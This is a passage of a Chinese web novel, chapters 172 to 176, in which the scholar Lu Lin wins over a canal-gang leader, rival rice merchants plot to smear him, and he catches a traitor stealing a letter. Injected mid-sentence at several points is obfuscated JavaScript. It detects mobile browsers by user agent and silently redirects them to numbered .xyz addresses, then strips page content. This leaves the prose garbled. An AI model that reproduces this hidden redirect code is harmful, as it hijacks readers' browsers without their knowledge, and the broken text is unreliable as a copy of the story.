是按着他的头在聚丰楼的地板上反复摩擦! 他胡一刀纵横临安府二十年什么时候受过这种气? 连知府大人请他都得客客气气递帖子这两个靠着裙带关系的玩意儿算什么东西? 第172章 投名状! 周炳彻底傻了。 心里狂呼,胡一刀绝对是疯了。 不就被骂了两句吗? 哪来这么大的火气? 不是说江湖中人最能唾面自干,忍辱负重吗? 在这几百万两的巨大利润面前,这点面子算什么?被骂两句又如何? 雅间内,一片死寂。 只有常万金微弱的呻吟和众人粗重的呼吸声。 一片混乱中,一直稳稳坐在位置上的卢璘却突然笑了。 别人看不懂,卢璘却看得一清二楚。 胡一刀这一番雷霆之怒,看似是意气用事,实则有意为之。 这是在给自己递投名状呢。 用常万金的血,来向自己表明彻底**的决心。 用不惧都指挥使的威胁,来展示他胡一刀的胆魄与价值。 用最直接方式,来巩固和自己刚刚建立的信任。 尽管眼前场面混乱血腥,还时不时传来常万金的低声哀嚎,而卢璘却像置身事外一样,稳稳坐着,甚至还有闲心品茶。 看着满脸煞气的胡一刀,卢璘心里默默点头。 够狠,对自己狠,也对别人狠。 当然也够聪明。 如果胡一刀没有这等雷霆手段,没有这份魄力。 卢璘或许还要重新掂量一下,这位漕帮二当家,究竟值不值得自己下这么大的注。 运河码头地产,新漕运商行这盘棋太大,牵扯的利益方方面面,盘根错节。 没有一个强横霸道,又能洞悉人心、手段狠辣的人物坐镇,再精妙的计划,终究也只是纸上富贵,风一吹就散了。 卢璘清楚,作为当事人的胡一刀当然更清楚。 发泄只是手段,不是目的。 他清楚自己想要的是什么。 发泄过后,胡一刀松开手,任由瘫软如泥的常万金顺着墙壁滑落在地。 接着,又慢条斯理地从怀中掏出一块干净的手帕,仔仔细细地擦拭着溅到自己锦袍和手上的血迹。 做这些的时候,胡一刀动作不疾不徐,可无论是周炳,还是常万金手下的打手,一个个不敢上前半步。 连倒在地上生死不知的常万金,都没人敢去搀扶。 只能眼睁睁地看 着胡一刀,将手帕上每一个血点都擦拭干净,随手扔在常万金的脸上。 做完这一切,胡一刀才施施然走回桌边,重新坐下,给自己倒了一杯酒。 一饮而尽。 胡一刀这才抬起头,看向脸色发白的周炳,脸上重新挂起了斯文笑容: “周少,有一说一,我胡一刀一口唾沫一口钉。 “说了这临安府城,只会有你们四大米行的粮食,就只会有你们的粮食。 “这句话,我胡一刀敢拿项上人头作保。若有食言,不用你们动手,我自绝于这运河之上,往后也别想在这江湖上混了。 “确实,临安府城里,只会有四大米行的粮食。 “至于卖不卖得出去,那就不知道了。一旁的陆恒在心里默默地补充了一句。 看到这里,陆恒哪里还不明白,胡二当家已经做出了选择,彻底站在了自强社这一边。 陆恒瞥了一眼不远处全程气定神闲的卢璘,心里默默感叹。 自己之前还担心琢之被这阵仗吓坏了,真是愚钝啊。 琢之哪是怕啊,是完全算到了胡一刀会被运河码头地产打动,会自己处理好这个局面。 还有之前琢之说过的,“让四大米行的人主动过来添一把火,陆恒这会儿才明白了这句话的意思。 一边是给自己画出一条通天大道,许诺了官身、财富和尊严的卢璘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453222|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边是把自己当成一条呼来喝去的狗,随意打骂羞辱的四大米行。 换做他是胡一刀,也知道该怎么选。 周炳听完胡一刀的话,略显意外,搞不清楚胡一刀这话里有几分真,几分假。 可事已至此,常万金半死不活地躺在地上,胡一刀又给了这么一个台阶,也只能顺着往下走。 先是对着身后的人使了个眼色,让他们扶起常万金,转头又对胡一刀强挤出一个笑容: “谁不知道胡二当家一言九鼎,重诺千金。 “今日之事,是我们二人鲁莽了,冲撞了二当家和卢案首的雅兴,改日,我定备上厚礼,登门赔罪。 胡一刀头也不抬,喉咙里挤出一个字。 “滚吧。 周炳脸上的笑容瞬间僵住,一抹狠厉之色从他眼中闪过,却又被他强行压了下去。 深深地看了一眼胡一刀,又看了一眼从始至终都像个局外人一样的卢璘。 最终,一言不发,带着昏死过去的常万金和一众手下狼狈地离开了包厢。 直到走廊上杂乱的脚步声彻底消失。 胡一刀脸上那股生人勿近的戾气才缓缓散去,失笑地摇了摇头,重新提起酒壶,为卢璘面前的空杯斟满。 又给自己倒满。 “让卢案首见笑了。 卢璘摇了摇头,开口说道:“二当家好手段啊。 说完,端起酒杯,笑着和胡一刀碰杯。 胡一刀率先喝完,直到看到卢璘一杯烈酒下肚后。 胡一刀这才觉得心里那块悬着的石头,彻底落了地。 知道自己刚才的表现,在卢璘这里,算是过关了。 运河码头地产新漕运商行. 这几个能让胡家三代脱去贱籍,能让数万漕帮兄弟挺直腰杆做人的泼天富贵,有希望了! 第173章 老戏骨附身 夜色如墨。 卢璘和陆恒两人回到半亩园门口时,已是深夜。 即便是深夜,半亩园内仍旧是灯火通明。 上百号自强社的生员并未散去,将院子挤得满满当当,焦急地等待着消息。 时不时有人伸长了脖子,望向门外漆黑的巷道。 “都这个时辰了,琢之和朗行怎么还没回来?” “不会出什么事吧?” “哎,确实让人担心.” “那可是胡一刀!**不眨眼的魔头,最是痛恨我等读书人,琢之此去,怕是凶多吉少。” “是啊,我听说当年有个秀才写诗骂了他一句,被他活活沉了江……” “就算人能安全回来,事情也未必能成。漕帮那群人,哪个不是认钱不认人?咱们一群穷秀才,拿什么去跟人家谈?” 焦灼的等待中,生员们三五成群凑在一起,低声议论着。 大多数对卢璘今晚赴宴不太乐观。 还有平抑粮价这事,从一开始就透着不切实际。 一群读书人,凭着一腔热血,就想去撼动**结的利益巨轮? 有点痴人说梦。 黄观站在人群最前方,听着耳边的议论,心里同样七上八下。 人的名,树的影。 胡一刀的凶名,在临安府足以令小儿止啼。 虽然黄观相信卢璘的智计,可面对这等江湖枭雄,再精妙的计策,也未必能有施展的余地。 就在这时,守在门口的一名生员高声喊了起来。 “回来了!琢之和朗行回来了!” 唰! 院内所有人的视线,齐刷刷地投向门口。 只见卢璘和陆恒二人,一前一后,缓步走入园中。 见到二人安然无恙,不少人明显松了口气。 人活着回来就好。 可紧接着,所有人的心又提了起来。 结果呢? 事情谈得怎么样了? 脾气最急的张胜第一个挤上前去,急切发问。 “如何?” 上百名生员,同样竖起了耳朵。 陆恒脸色在灯火下显得格外沉重,环视了一圈众人期盼的脸,最终缓缓摇头,发出一声长叹。 “唉!胡一刀这狗贼真是贪得无厌。” “他的意思是,除非我们将那三十万石粮食的利润,分他三成,否则,漕帮的船,一艘都不会动。” “这个畜生,根本就不在乎临安府百姓的死活,眼睛里只有银子!” 此言一出,人群当场就炸了! “什么?三成!他怎么不去抢!” “这哪里是合作,这分明是敲骨吸髓!” “无耻!枉他还读过圣贤书,简直是斯文败类!” 义愤填膺的咒骂声此起彼伏,生员们一张张年轻的脸上写满了愤怒不甘。 卢璘同样脸色沉重,对着众人摇了摇头,声音里满是无奈。 “胡一刀这条路是走不通了。” “常州府那三十万石粮食,本就是恩师他老人家卖了天大的人情,才从常平仓里调拨出来的。人家粮商也要赚钱,我们已经是平价购入,哪里还有什么利润分给他?” “此事,是我考虑不周了。” 卢璘的回答,浇灭了众人心中最后一丝侥幸。 完了。 漕帮不松口,粮食就进不来。 粮食进不来,粮价就还是四大米行说了算。 他们之前所有的努力,所有的奔走呼号,都成了一个笑话。 这就是个死局啊。 尽管早就有心理准备,可听到结果后,众人还是难免失望。 院内的咒骂声渐渐平息,又变成了死一般的沉默。 就在这时,陆恒深吸一口气,猛地一拍手,打破了沉默: “诸位同窗,都别唉声叹气了!” 陆恒脸上满是坚毅,高声呼喊:“活人还能让尿憋死不成?胡一刀胡一刀这条路走不通,我们就再想别的路!” “我就不信,这朗朗乾坤,还没有我们读书人说理的地方了!” “今晚,谁也别睡了!我们就在这半亩园,通宵达旦,也要想出一个对策来!” 张胜本就是热血性子,听完立刻响应:“对!朗行说得没错!跟他们拼了!” “拼了!” “跟他们死磕到底!” 一群年轻的生员,骨子里的那股热血被再次点燃,纷纷响应附和。 虽然前路渺茫,但 总好过坐以待毙。 嘈杂的响应声中,一名相貌平平的生员忽然开口,脸上带着一丝歉意:“社首,诸位,我我得先回家一趟,与家中娘子说一声,免得她担心。 他说完,紧跟着也有几名生员站了出来: “是啊社首,我也得回去取些东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453223|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “对对对,我也得回去一趟,我约了人明日一早谈事情,得去取消了。 “我……我出来得急,忘了给家里留晚饭的钱了。 卢璘闻言,脸上露出一丝愧意,对着众人拱了拱手。 “怪我,思虑不周,害得大家跟着我一同折腾。 “有事的同窗尽管先去处理,我让景明和朗行给大家备好宵夜吃食,今晚,是一场硬仗。 得了卢璘的话,那几名生员匆匆行了一礼,便转身离去。 其余的生员,则在黄观的安排下,三五成群地聚在一起,或点起灯烛,或围着石桌,重新开始商议对策。 黄观见大家都忙着商议对策,这才冲不远处的陆恒,不动声色地使了个眼色。 陆恒看明白了黄观的眼神,先是看了一眼卢璘,见卢璘已经率先迈步,朝内屋走去。 陆恒立刻跟上卢璘的脚步,不过在踏入房门前回过头,朝黄观和张胜几人点了点头。 黄观见状,立马快步跟上,张胜虽然摸不着头脑,但也没落下。 走在最后的张胜,反手将房门合拢,又顺手插上了门栓。 见屋内只剩下自强社最核心的几名骨干,黄观再也按捺不住,目光急切地望向陆恒: “朗行,你和琢之把大家留下来,到底打的什么主意? 陆恒刚才在院里慷慨激昂地鼓动众人,根本不像是他平日的风格。 事出反常必有妖,唯一的解释,就是琢之的授意。 张胜听着更是一头雾水,看看黄观,又看看气定神闲的卢璘和陆恒,挠了挠头,满脸都是懵。 不过张胜也不是傻子,这会儿也听出了点不对劲的味道。 “难不成……今晚赴宴,另有结果? 陆恒闻言,刚才还沉重的脸色,陡然浮起了笑意,冲着黄观一拱手。 “我就知道,什么都瞒不过景明你。 黄观急了,上前一步打断他:“你别恭维我了,赶紧说说,今晚赴宴的结果到底如何! 陆恒也不再吊胃口,只是脸上的笑意更浓。 “结果?晚上结果可多着呢,你是问哪个? 见黄观的脸已经快要黑成锅底,陆恒也不敢再逗他,这才补充道: “总的来说,就一句话。 “胡二当家被琢之的经天纬地之才彻底折服,当场纳头就拜,恨不得引琢之为平生知己。 “这个结果,大家觉得怎么样? 第174章 这是什么神仙手段? 黄观听完,只觉得更加离谱。 “纳头就拜?引为知己?” 黄观皱着脸,全然不信陆恒这番说辞:“朗行,你又在胡闹了。” 胡一刀是什么人? 心坚如铁,杀伐果断。 就算被琢之的计策说动,也绝不可能如此轻易折服。 引为知己尚可理解,纳头就拜,未免太过了。 他只当陆恒又在开玩笑,正准备再多说几句。 陆恒脸上的笑意缓缓收敛,摇了摇头,一脸郑重严肃: “景明,我没有开玩笑。” 接着,陆恒将今晚聚丰楼发生的事情,挑着重点,言简意赅地复述了一遍。 “琢之先是用漕运贪墨的账目震慑住了胡一刀,然后又抛出了一个全新的合作,当场就让胡一刀心服口服” 黄观和张胜两人听得一愣一愣的。 尤其是听到“新漕运商行”和“运河码头地产”这两个词时,两人脸上都写满了困惑。 “新漕运商行?运河码头地产?这是什么意思?” 张胜挠了挠头,这两个词拆开来他都懂,合在一起,就跟天书一样。 黄观同样如此,眼中满是困惑茫然,他自问胸藏万卷,满腹经纶,看过杂书也不少。 新漕运商行,这个还能勉强理解,无非是漕帮改头换面。 可这运河码头地产,又是什么东西? 地产? 地里的产业? 此刻两人就像没开蒙的学童,一个字都听不懂。 陆恒看到两人呆瓜一样的表情,心里顿时乐开了花。 还好,不是自己一个人听不懂。 原来大家都一样。 怀着这种莫名优越感,陆恒清了清嗓子,开始解释:“运河码头地产,这个词,我也是第一次听琢之说起。” “简单来说,就是以官府的名义,将运河沿岸那些无人问津的滩涂烂地承包下来,然后用朝廷下拨的修堤银,将这些地建成码头、仓库、商铺,再分层租出去,持续收钱。” 陆恒努力用自己理解的方式,将卢璘那套颠覆性的商业模式讲了出来。 黄观和张胜则是越听越心惊。 两人呆立在原地,脑子里仿佛有惊雷滚过, 将他们过去二十年建立起来的认知,炸得粉碎。 还能这么玩? 还能这么赚钱? 这哪里是做生意,这分明就是点石成金的仙法! 良久。 黄观才从震撼中回过神来,长长地吐出一口气,望向一旁气定神闲的卢璘,脸上满是敬畏。 “我原以为琢之只是文才无双,于经义策论诗词一道,天下无出其右。” “今日才知,他于这商贾之道,竟也有如此经天纬地之才!” 以地生钱,借鸡生蛋。 不,这比借鸡生蛋还要高明。 这是空手套白狼,用官府的地,官府的钱,来建自己的金山银山! 这等手段,简直闻所未闻! 张胜此刻也回过神来,大概也听明白了其中的厉害,重重地点了点头,憋了半天,才挤出一句。 “俺也一样!” 黄观没有理会张胜,继续追问陆恒:“这么说,胡二当家已经明确表态,站在我们这边了?” 陆恒闻言点头,脸上的笑意藏都藏不住了。 “何止是表态!” “你们是没看到,常万金和周炳带人冲进来的时候,胡一刀是怎么做的。” “拎着常万金的脑袋就往墙上撞,差点把那肥猪当场给砸死!这脸,算是彻底撕破了。” 陆恒说得眉飞色舞,可黄观听完,脸上不仅没有半点喜色,反而瞬间凝重起来。 “胡一刀和他们撕破脸,对我们而言,未必是好事。” 黄观思绪转得很快,立刻就想到了其中的凶险。 “再加上今晚你和琢之在院里演的那出戏,故意放出假消息,说胡一刀贪得无厌,合作谈崩。” “四大米行的人,本就多疑。他们绝不会相信我们和漕帮真的谈崩了,只会认为这是我们故意放出的**。如此一来,他们岂会坐以待毙?” 黄观的担忧不无道理。 把敌人逼到绝路,换来的必然是疯狂的反扑。 陆恒闻言,却大笑连连: “景明啊景明,这便是琢之最高明的地方了!” 黄观一怔,脸上露出期待,急忙追问道: “看来琢之早有对策?” “到底是什么 办法?” 陆恒却学着卢璘的样子卖起了关子笑而不语。 “晚上你们就知道了。” “你” 黄观和张胜对视一眼满脸都是无语。 陆恒这小子怎么也学坏了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453224|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这才跟着琢之混了几天啊也学会说一半藏一半了真烦人。 与此同时临安府城南一家医馆后院。 浓重的药味混杂着血腥气弥漫在空气中。 苏十三娘、周炳、齐老拐站在床榻边 常万金则半躺在榻上额头缠着渗血的布条刚从昏迷中转醒口中发出一声怒吼: “啊!胡一刀!**你祖宗!” 骂完这一句常万金又挣扎着从病床上坐起双眼布满血丝面目狰狞的吼着: “这个畜生老子要宰了他!老子要把他千刀万剐!” 说完因为动作幅度太大又牵动了伤口疼得常万金又身子发颤但眼中满是怨恨。 “老子这就让叔父调动兵马踏平他漕帮!” “看看他漕帮那几万张吃饭的嘴愿不愿意跟着他胡一刀一起陪葬!” 苏十三娘从旁人手上接过一碗刚煎好的汤药轻轻叹了口气走上前去柔声安抚:“常老弟莫动气先把伤养好再说。” “至于和胡一刀秋后算账也得等咱们这次事了了再说。” 看着床榻上喊打喊杀的常万金苏十三娘暗自摇头真是个猪脑子兵马是你说调动就能调动的? 别说叔父是都指挥使了就是陈大人没有适当的理由也出不了兵。 真当胡一刀是吃干饭的啊? 要是这么容易**掉早就骨头渣子都没了也轮不到今天在聚丰楼逞凶。 当然这话苏十三娘不会说出口。 常万金哪里听得进劝一把挥开药碗药汁洒了一地目眦欲裂咬牙切齿道: “养伤?老子现在就要他的命!” 这时一名手下快步走进院子对着众人躬身行礼。 “陈都指挥使府上的人来了。” 话音刚落一个身穿皂衣神情干练的男子便走了进来目光在院内一扫最后落在床榻上的常万金身上。 “常东家陈大人有话让小的转达。” 常万金一见来人以为是叔父给自己撑腰来了脸上的怨毒更甚。 “我叔父怎么说?是不是让我带人去平了漕帮!” 皂衣男子摇了摇头不紧不慢地开口:“陈大人说此事就这么算了。让您安心养伤不准再去找胡二当家的麻烦。” 什么? 算了? 常万金脑子嗡的一声整个人都僵住了。 他不敢相信自己的耳朵。 自己被打成这样叔父竟然让自己算了? 第175章 还得是你啊,周少! “陈大人说,和气生财。”皂衣男子重复道。 “生**财!” 常万金闻言彻底爆发,抓起床边的枕头、茶杯,疯了似的朝皂衣男子身上砸去。 “滚!回去告诉我叔父!他要是不给我出这口气,我自己去跟胡一刀同归于尽。” “让陈家断后算了” 一旁的周炳,闻言摇头。 陈大人膝下无子,只有常万金这么一个从小被寄养在常家的侄子,还指着常万金多生几个儿子,过继一个到陈家呢。 常万金这是准备豁出去了,受此奇耻大辱,舍了命也要出这口气,连同归于尽都说出来了。 常万金骂完还不解气,冲上去对着那人拳打脚踢,状若疯癫。 皂衣男子就那么站着,任由他发泄。 直到常万金伤口又被牵扯疼了,气喘吁吁地停下来,皂衣男子这才缓缓开口: “常东家,胡二当家半个时辰前,刚从陈府离去。” “来的时候,带了几个大箱子。” 说完,皂衣男子不再停留,对着众人一拱手,转身离去。 院内,再次陷入死寂。 常万金脸上的愤怒瞬间凝固,接着由愤怒变成了不甘。 他不是傻子。 几个大箱子。 当然明白那是什么意思。 扑通一声,常万金瘫坐回床上,动作太大,牵扯到了头上的伤口,疼得他龇牙咧嘴,却只能死死地忍着。 苏十三娘看着对方离去的背影,冷笑一声:“呵呵,胡一刀,真是好手段。” “打完了人,转头就去陈都指挥使府上送礼安抚,这一巴掌一甜枣,玩得真是炉火纯青。” 周炳接过话茬,脸上满是思索:“我还是想不明白,他胡一刀图什么?我实在不信,他会为了一个穷秀才,跟我们彻底翻脸。” 苏十三娘摇了摇头:“不管他想怎么左右逢源,都无所谓。” “哪怕他真的跟卢璘合作,那三十万石粮食真能拉进城,我们也可以一起吃下去。” “卢璘没有真金白银,想凭几句话就把临安府的粮价砸下去?痴人说梦。” 苏十三娘脸上满是不屑。 “他们这群穷秀才上蹿下跳,终究是镜 花水月。没有白花花的银子一切都是空谈。” 周炳闻言点头深以为然。 说到底这粮价能不能降关键看谁手上银子多。 只要他们手里的银子能把市面上所有的粮食都吃下来就能永远立于不败之地。 一群穷秀才能翻起什么浪花? 自始至终只有齐老拐一言不发端着茶杯若有所思。 就在这时一个头戴斗笠的身影悄无声息地出现在院门口快步走到周炳身边压低声音说了几句便又迅速转身。 苏十三娘隔了点距离听得不太清楚不过也隐约捕捉到了几个字眼。 自强社.胡一刀谈崩了. “自强社那边有什么新消息?”苏十三娘开口问道。 周炳摇头冷笑一声: “那几个跳梁小丑应该是猜到自强社里有我的人了。” “正演戏给我看呢。” “刚才我的人来报卢璘和陆恒回到半亩园当着所有人的面说跟胡一刀的合作谈崩了胡一刀贪得无厌要三成利润。” 苏十三娘闻言也轻笑一声听明白了怎么回事。 “还是那句话不管胡一刀站哪边有没有粮食进城我们提前备好银子总归是没错的。” 苏十三娘环视众人开口询问道: “你们那边银子都没问题吧?三十万石粮不是小数目我们至少要准备上百万两的本金。算下来每家最少三十万两。” 周炳眉头皱起:“要这么多?我手上的现银暂时拿不出这么多。” “拿不出就去借临安府哪个钱庄敢不卖你周少面子?”苏十三年眼波一瞥笑脸盈盈。 周炳这会哪有心思搭理苏十三年那股子骚劲啊摇头说道:“恒通钱庄的印子钱利息可不低啊!” 一旁的齐老拐也跟着附和:“是啊资金压力确实很大。万一那三十万石粮食是假消息 苏十三娘闻言嗤笑一声毫不客气地讥讽道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453225|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妇人之见!” “你们几个大老爷们这么点魄力都没有?” “利息才几个子儿?只要这粮价不下去摆在我们面前的是几百万两 的利润!眼光放长远点! 周炳和齐老拐沉默了。 不过心里也都清楚,苏十三娘说的是对的。 高风险,才有高回报。 两人对视一眼,都下定了决心。 借! 一想到凭空增加那么多开支,周炳眼神越发阴鸷:“都怪卢璘这个畜生! “若不是他从中作梗,我们哪里需要平白多出这么多成本! 床榻上,刚刚缓过劲来的常万金听到“卢璘这个名字,新仇旧恨一同涌上心头。 没错! 若不是这个畜生上蹿下跳,自己怎么会挨这顿打? 怎么会多出这笔利息钱? 胡一刀他动不了。 但这笔账,不能就这么算了! 所有的怨气,瞬间找到了宣泄口。 “杀了这个畜生! 常万金咬牙切齿道:“老子咽不下这口气!必须让那个姓卢的死! 周炳眼中也闪过一抹阴狠。 不管卢璘和胡一刀有没有合作,只要把这个源头给解决了,所有的风险就都迎刃而解了。 周炳脸上露出阴冷的笑意: “常东家,稍安勿躁。 “卢案首有功名在身,背后还有个沈春芳,直接杀,动静太大,后患无穷。 “不过嘛,读书人最在乎的是什么?是名声。 常万金立刻追问:“你有什么办法? “我已查明,自强社在城外灾民营中,收留了一个无家可归的小寡妇,还时常派人送米送粮,关怀备至。 “你说,若是这临安府城里,忽然传出江南案首怜香惜玉,金屋藏娇,甚至强占民女的风闻。 “他这案首的名声,还能保得住吗? 周炳说完,苏十三娘发出一连串的笑声,一双媚眼直勾勾地盯着周炳,双手鼓掌: “论手段,还得是你啊,周少。 第176章 蒋干盗书! 夜已三更,万籁俱寂。 半亩园内依旧灯火摇曳,不过却没了早前的热闹。 院子里,之前还群情激奋的生员们,此刻大多已是东倒西歪,靠着墙角或石桌昏昏欲睡。 通宵达旦的商议,也没讨论出一个更好的应对方法。 耗尽了最后一丝精力后,终究抵不过深夜的困倦。 卢璘等人内屋,两扇大门直直地敞开着。 陆恒与黄观一个时辰前,就被卢璘劝回各自的房间歇息去了。 昏黄的烛火下,张胜眼皮耷拉,脑袋一点一点,强撑着不让自己睡过去。 卢璘也揉了揉眉心,打了个长长的哈欠,脸上满是倦意,手上的笔却没有停。 新漕运商行、运河码头地产诸多细节,都要卢璘亲自把关,没有人能够帮得上。 一阵穿堂风吹来,张胜打了激灵,困意消去了大半,抬头一看,卢璘还在烛火下奋笔疾书,忍不住劝道: “琢之,要不你也歇会儿吧?铁打的人也扛不住这么熬啊。” 卢璘放下笔,冲张胜摆了摆手:“我再忙一会,你先去睡吧。” 说着,又补充了一句:“明早卯时记得喊我,还得去城外灾民营一趟,看看放粮施粥的准备情况。” 交代完没几个呼吸,卢璘便趴在了堆满卷宗的桌案上,呼吸很快就变得均匀绵长。 张胜见状,无奈地摇了摇头,站起身,本想给卢璘披件外衣,可刚到桌前,手上的动作却顿住了。 只见,桌案角落静静地躺着一封未拆的信。 “咦?这是什么时候的信?”张胜走上前,拿起那封信。 借着烛光,封套上笔力遒劲字迹映入眼帘。 “学生琢之亲启。” 落款处:“师,沈春芳。” 沈大学士的亲笔信! 张胜精神一振,睡意顿时消散大半。 他连忙转身,轻轻推了推卢璘的肩膀。 “琢之,琢之!沈大学士来信了!粮食有着落啦!” 可卢璘还是趴在桌上,一动不动,呼吸声深沉而绵长,睡得极死。 张胜又喊了两声,见卢璘全无反应,不由得摇了摇头。 算了。 琢之这几天太累了,几 乎就没合过眼。 天大的事,也等他睡醒了再说吧。 这般想着,张胜小心翼翼地将信件放回原处,还特意摆在了最显眼的位置,确保卢璘一醒来就能看到。 做完这一切,他才轻手轻脚地走出屋子,在院里找了个角落,靠着柱子坐下,也沉沉睡去。 屋内,烛火摇曳。 屋外,万籁俱寂。 不知过了多久。 一道黑色的身影悄无声息地从门外走了进来。 此人动作极轻,落地无声,没有丝毫停顿,径直来到卢璘桌前。 目光一扫,就看到了桌上那封信。 不过并没有着急出手,静静地站在桌前几个呼吸,确保卢璘是真的熟睡后,才将信拿到眼前。 “门下学生琢之亲启。 “师,沈春芳。 展开信纸,借着微弱的烛光,上面的字迹清晰可见。 “琢之如晤: “闻你在临安府为民**,平抑粮价,为师甚慰。 “读书人当有此风骨,不畏强权,心怀苍生。然秋闱在即,切不可因此荒废了学业,金榜题名,方是正途,莫要本末倒置,沉迷于商贾奇技淫巧,误了前程。 “你信中所提常州府调粮一事,为师已为你办妥。 “常州府通判杨汝楫乃庚辰年门下,尚肯卖我这把老骨头几分薄面,他已说动常州几大粮商,允诺调拨三十万石米粮运往临安,以解燃眉之急。 “三日后,首批十万石粮食将由水路运抵临安府城东码头,届时,你需派人提前做好对接,切记,此事需隐秘,不可声张,以免被有心人利用,从中作梗。 “望徒珍重,勿使为师挂念。 此人将信上内容逐字逐句地看完,拿着信纸的手,微微有些发抖。 三十万石! 真的是三十万石! 而且三天后,第一批粮食就要到了! 他强行压下心头的狂跳,将信纸重新折好,塞回信封。 确认信封看不出被拆开的痕迹后,他没有将信放回原处,而是直接揣进了怀里。 做完这一切,此人再次环顾四周,见无人察觉,这才悄无声息地退出了屋子。 院内,再次恢复了死 寂。 桌案前,原本趴着熟睡的卢璘,均匀的呼吸声,不知何时已经停了。 甚至整个人都已经坐直了身子。 脸上哪里还有半分睡意和疲惫,一双眼睛在昏暗烛光下,亮得吓人。 卢璘静静地看着门外,脸色稍显凝重。 “居然是他.” 不多时,黄观、陆恒、张胜三人脸色凝重地走了进来。 三人脸上此刻哪有半点困意,尤其是张胜,满脸都是压不住的怒火。 他反手将房门重重关上,一开口就是骂声: “李枫这个畜生!” “吃里扒外的东西!我真想现在就去宰了他!” 张胜气的浑身发抖,一拳砸在旁边的柱子上。 “我怀疑过所有人,就是没有想过他!平日里装的人模狗样,一口一个为民**,背地里居然干这种龌龊事!” 陆恒脸上表情也是复杂难明,有愤怒,但更多的是失望。 “我还是想不通,周炳到底给了李枫多少好处,值得他背叛我们,背叛自强社。” “李枫家里什么情况,咱们都清楚。老娘常年卧病在床,下面还有三个弟妹要养活。” “他刚入社的时候,连件像样的衣服都没有,还是社里同窗,你一点我一点凑了银子给他,还时不时去帮他照顾着老娘” “我一直以为,他是个知恩图报的人.” 陆恒的声音越来越低,最后只剩下了一声叹气。 这点恩情,在泼天富贵面前,终究是不值一提。 黄观闻言一直沉默着,等陆恒说完,才终于抬起头,脸上满是愧疚自责地望向卢璘。 “琢之,此事过错在我。” “李枫是我举荐入社的,也是我见他文采不错,为人勤勉,才极力推荐他进入骨干圈子。” “是我识人不明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453226|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点因为我的疏忽,坏了大事。无论如何责罚,我黄观都绝无怨言。” 卢璘摇了摇头,上前将黄观扶起。 “景明,这怎么能怪你。” “队伍大了,人心就杂了,总会有些心不齐的。这很正常。” 张胜这暴脾气,越想越难受,忍不住开口道: “这种**子,就该当着所有人的面,撕开 他那张虚伪脸皮! “要让他身败名裂,让他被整个江南道读书人唾弃!让他自绝于士林! 卢璘摇了摇头,脸色平静地开口: “现在还不是时候。 张胜一听这话,火气窜得更高了: “琢之!这种人留着过年吗?他今天能卖我们一次,明天就能卖我们第二次! “必须把他揪出来!当着所有人的面,让他身败名裂! “然后呢? 卢璘眉头一挑,反问道:“揪出他,然后呢? “泄一时之愤,然后打草惊蛇,让周炳他们知道我们已经洞悉了他们的计划? “这……张胜被问得哑口无言,一张脸憋得通红。 道理他都懂。 可就是咽不下这口气! 憋屈! 太憋屈了! 陆恒和黄观也是长吁短叹。 卢璘见三人情绪有些低沉,拍了拍手。 “行了。 “出了家贼,不也在我们的意料之中吗? 说着,环视三人,脸上带着从容笑意。 “鱼饵已经放出去了,鱼也上钩了,现在要做的,就是安静地等着,等他们把所有的身家都押上牌桌。 “现在,都给我振作起来。 “都回去睡吧,还能睡上几个时辰。 